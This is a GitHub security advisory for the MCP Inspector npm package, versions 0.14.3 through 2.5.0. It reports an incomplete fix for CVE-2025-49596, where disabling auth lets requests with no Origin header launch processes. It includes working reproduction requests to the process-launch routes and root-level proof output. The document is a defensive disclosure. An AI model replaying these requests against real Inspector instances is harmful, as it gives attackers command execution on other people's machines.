Skip to main content
Menu
Advisories

Missing Authentication for Critical Function in @modelcontextprotocol/inspector

GHSA-WMJF-2M46-2352Published Updated GitHub

Description

<html><head></head><body><h1>Incomplete Fix for CVE-2025-49596: Absent-Origin Fail-Open Restores Unauthenticated MCP Process-Launch</h1> <p><strong>Versions confirmed vulnerable:</strong></p> <ul> <li><code>@modelcontextprotocol/inspector@0.14.3</code></li> <li><code>@modelcontextprotocol/inspector@1.0.2</code> (<code>v1-latest</code> npm tag; security-fixes-only line)</li> <li><code>@modelcontextprotocol/inspector@2.5.0</code> (<code>latest</code> npm tag; current release)</li> </ul> <p><strong>Reference:</strong> CVE-2025-49596 / GHSA-7f8r-222p-6f5g<br> <strong>CWE:</strong> CWE-306 — Missing Authentication for Critical Function</p> <hr> <h2>Summary</h2> <p>CVE-2025-49596 was fixed in 0.14.1 by adding two middleware layers to all sensitive routes: a 256-bit session token (<code>authMiddleware</code>) and an Origin allowlist (<code>originValidationMiddleware</code>). The fix is incomplete.</p> <p>When authentication is intentionally disabled via <code>DANGEROUSLY_OMIT_AUTH</code>, the remaining Origin validation fails open for requests with no <code>Origin</code> header, allowing a direct non-browser client to reach the privileged MCP process-launch operation without the session token.</p> <p>The bug is not the existence of <code>DANGEROUSLY_OMIT_AUTH</code>. It is that the flag removes one defense, but the second defense is implemented as if authentication were always present. The maintainer's own rationale for declining PR #1161 relied on authentication as the compensating control for the absent-Origin path; once that control is removed by the flag, the process-launch endpoint is left without protection.</p> <hr> <h2>Architecture Differences Between v1 and v2</h2> <p><strong>v1 (0.14.3, 1.0.2):</strong> Separate proxy on port 6277. Process-launch route: <code>GET /stdio</code>. <code>originValidationMiddleware</code> and <code>authMiddleware</code> applied per-route.</p> <p><strong>v2 (2.5.0):</strong> Single web server on port 6274. Process-launch route: <code>POST /api/mcp/connect</code>. Origin middleware applied globally with <code>app.use("*", createOriginMiddleware(...))</code>. Auth middleware applied globally only when <code>!dangerouslyOmitAuth</code>.</p> <p>The structural change does not alter the outcome: in both architectures, disabling auth leaves Origin validation as the sole control, and absent-Origin requests bypass it.</p> <hr> <h2>Verified Reproduction</h2> <p>All output produced against the published npm packages with no modifications.</p> <h3>Environment</h3> <pre><code>Node.js: v22.22.2 Packages: @modelcontextprotocol/inspector@0.14.3 @modelcontextprotocol/inspector@1.0.2 @modelcontextprotocol/inspector@2.5.0 </code></pre> <h3>v2 (2.5.0) — current <code>latest</code> release</h3> <p><strong>Start:</strong></p> <pre><code class="language-bash">$ DANGEROUSLY_OMIT_AUTH=true \ node inspector/clients/web/build/index.js

MCP Inspector Web is up and running at: 127.0.0.1 Auth: disabled (DANGEROUSLY_OMIT_AUTH) </code></pre> <p><strong>Control A — <code>401</code> without <code>DANGEROUSLY_OMIT_AUTH</code>:</strong></p> <pre><code class="language-bash">$ curl -s 127.0.0.1/api/config {"error":"Unauthorized","message":"Authentication required..."} HTTP: 401 </code></pre> <p><strong>Control B — <code>403</code> with a present, unrecognised <code>Origin</code>:</strong></p> <pre><code class="language-bash">$ curl -s -X POST \ -H "Origin: evil.attacker.com" \ -H "Content-Type: application/json" \ -d '{"config":{"type":"stdio","command":"id","args":[]}}' \ 127.0.0.1/api/mcp/connect

{"error":"Forbidden","message":"Invalid origin. Request blocked..."} HTTP: 403 </code></pre> <p><strong>Bypass — <code>DANGEROUSLY_OMIT_AUTH=true</code> + absent <code>Origin</code>:</strong></p> <pre><code>POST /api/mcp/connect HTTP/1.1 Host: 127.0.0.1:6274 Content-Type: application/json [no x-mcp-remote-auth header] [no Origin header]

{"config":{"type":"stdio","command":"python3","args":["-c","&lt;script&gt;"]}} </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 200 OK {"sessionId":"1cf5e80a-b074-429f-b939-bf6f604273cb"} </code></pre> <p><strong>File written to disk by the spawned process:</strong></p> <pre><code>=== Inspector 2.5.0 RCE Proof === Auth: NONE Origin: ABSENT uid=0(root) gid=0(root) groups=0(root) vm </code></pre> <h3>v1 (1.0.2 and 0.14.3) — <code>v1-latest</code> and legacy line</h3> <p><strong>Start:</strong></p> <pre><code class="language-bash">$ DANGEROUSLY_OMIT_AUTH=true \ node inspector/server/build/index.js

⚙️ Proxy server listening on 127.0.0.1:6277 ⚠️ WARNING: Authentication is disabled. This is not recommended. </code></pre> <p><strong>Bypass — <code>DANGEROUSLY_OMIT_AUTH=true</code> + absent <code>Origin</code>:</strong></p> <pre><code>GET /stdio?transportType=stdio&amp;command=python3&amp;args=...&amp;env={} HTTP/1.1 Host: 127.0.0.1:6277 Accept: text/event-stream [no x-mcp-proxy-auth header] [no Origin header] </code></pre> <p><strong>Server log confirms the spawn decision:</strong></p> <pre><code>New STDIO connection request STDIO transport: command=/usr/bin/python3, args=-c,exec(...) Created server transport Created client transport </code></pre> <p><strong>Response:</strong> <code>HTTP 200</code>, SSE stream opened.</p> <p><strong>File written to disk by the spawned process — 1.0.2:</strong></p> <pre><code>=== Inspector 1.0.2 (v1-latest) RCE Proof === Auth: NONE Origin: ABSENT uid=0(root) gid=0(root) groups=0(root) vm </code></pre> <p><strong>File written to disk by the spawned process — 0.14.3:</strong></p> <pre><code>=== Inspector 0.14.3 RCE Proof === Auth: NONE Origin: ABSENT uid=0(root) gid=0(root) groups=0(root) vm </code></pre> <p><strong>Summary of results:</strong></p>

Version | Route | No auth + no Origin | Evil Origin | No DANGEROUSLY_OMIT_AUTH -- | -- | -- | -- | -- 0.14.3 | GET /stdio | 200 — spawned | 403 | 401 1.0.2 | GET /stdio | 200 — spawned | 403 | 401 2.5.0 | POST /api/mcp/connect | 200 — spawned | 403 | 401

<hr> <h2>Reporter</h2> <p>Lemohang Khaile (strokep)<br> Submit: github.com/modelcontextprotocol/inspector/security/advisories/new</p></body></html>

Affected versions

References

GitHub · modelcontextprotocol/inspector